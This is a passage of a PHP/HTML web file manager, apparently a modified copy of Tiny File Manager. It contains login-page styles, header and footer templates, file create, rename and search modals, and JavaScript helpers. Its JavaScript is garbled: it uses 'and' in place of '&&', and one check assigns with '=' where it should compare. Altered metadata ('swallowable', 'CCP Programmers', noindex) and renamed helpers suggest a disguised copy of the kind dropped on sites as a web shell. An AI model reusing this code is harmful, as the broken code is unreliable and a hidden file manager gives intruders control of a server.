        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    function fm_show_footer_login()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}


function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="swallowable">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('pre-cloudflare'); ?>
    <?php print_external('css-bootstrap'); ?>
    <?php print_external('css-font-awesome'); ?>
    <?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('css-highlightjs'); ?>
    <?php endif; ?>
    <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
    <style>
        html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
        *,*::before,*::after { box-sizing: border-box;}
        body { font-size:15px; color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a, a:hover, a:visited, a:focus { text-decoration:none !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
        .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0; overflow: hidden;  }
        pre.with-hljs code { margin:0;border:0;overflow:scroll;  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form, .preview-img-container { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
        input#preview-img-zoomCheck[type=checkbox] { display:none }
        input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { padding:4px 10px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img { max-width: 300px; }
        .border-radius-0 { border-radius: 0; }
        .float-right { float: right; }
        .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
        #main-table tr.even { background-color: #F8F9Fa; }
        .filename>a>i {margin-right: 3px;}
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            :root {
                --bs-bg-opacity: 1;
                --bg-color: #f3daa6;
                --bs-dark-rgb: 28, 36, 41 !important;
                --bs-bg-opacity: 1;
            }
            .table-dark { --bs-table-bg: 28, 36, 41 !important; }
            .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
            body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
            a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
            ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
            .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
            .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
            .theme-dark .dropzone { background: transparent; }
            .theme-dark .inline-actions > a > i { background: #79755e; }
            .theme-dark .text-white { color: #CFD8DC !important; }
            .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
            .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
            .message { background-color: #212529; }
            .compact-table tr:hover td { background-color: #3d3d3d; }
            #main-table tr.even { background-color: #21292f; }
            form.dropzone { border-color: #79755e; }
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                      <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                      <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </form>
        </div>
    </div>

    <!-- Advance Search Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group mb-3">
                  <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                  <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                </div>
            </h5>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>

    <!--Rename Modal -->
    <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
      <div class="modal-dialog" role="document">
        <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
          <div class="modal-body p-4 text-center">
            <h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
            <p class="mb-1">
                <input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <input type="hidden" name="rename_from" id="js-rename-from">
            </p>
          </div>
          <div class="modal-footer flex-nowrap p-0">
            <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
            <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
          </div>
        </form>
      </div>
    </div>

    <!-- Confirm Modal -->
    <script type="text/html" id="js-tpl-confirm">
        <div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
          <div class="modal-dialog" role="document">
            <form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
              <div class="modal-body p-4 text-center">
                <h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
                <p class="mb-1"><%this.content%></p>
              </div>
              <div class="modal-footer flex-nowrap p-0">
                <button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
                <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                <button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
              </div>
            </form>
          </div>
        </div>
    </script>

    <?php
    }


    function fm_show_footer()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('js-highlightjs'); ?>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) {
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState and 200 == n.status and toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    // Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (typeof n !== 'undefined' and n !== null) {
            if (true) {
